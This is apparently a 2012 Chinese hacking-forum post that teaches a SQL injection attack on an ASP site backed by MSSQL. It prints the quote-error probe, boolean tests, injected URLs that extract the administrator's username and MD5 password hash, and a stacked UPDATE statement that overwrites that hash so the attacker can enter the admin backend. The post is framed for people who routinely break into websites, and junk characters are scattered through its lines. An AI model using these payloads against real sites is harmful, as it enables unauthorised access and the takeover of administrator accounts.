经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。
! s6 D# W4 {2 h1 o可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)# Z9 ]) _/ k! Z5 W
测试如下：
9 u7 h' ~& L- H0 Shttp://www.tmdsb.com/news.asp?id=121
: m! f5 k) |% X6 Q% k0 A在地址后输入单引号，显示/ R+ k) [8 { [7 ^" V9 p* o8 W9 a, l
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’; i* N/ w' f4 b% C! N
字符串 ’’’ 之前有未闭合的引号
& h* O, k/ v5 K' w( @/news/tmdws.asp，行63' e ~3 y9 v2 s& v: F( w
说明没有过滤单引号且数据库是MSSQL.+ |1 [ }1 k/ V
and 1=1正常。and 1=2出错。肯定存在注入3 T6 X/ M; ?1 B& \( e" `5 @
接着输入
+ k! w. p; _6 r7 Shttp://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
- Z9 z: A9 n$ [; @3 L# T% x. V3 {得到帐号为:admin4 e I; I, [4 i3 f
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)- }5 k! Z- b: f2 {( W% I) F2 B
得到密码为:a4716077c2ba075c) M* ?8 c6 r- Q) F& f& V. O
接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f29433" F% Q( i$ j- a% T
命令如下 :. w* K6 X* m" }. |. L I
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–* c* w, I6 H8 k0 A1 ^3 z k! t
这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41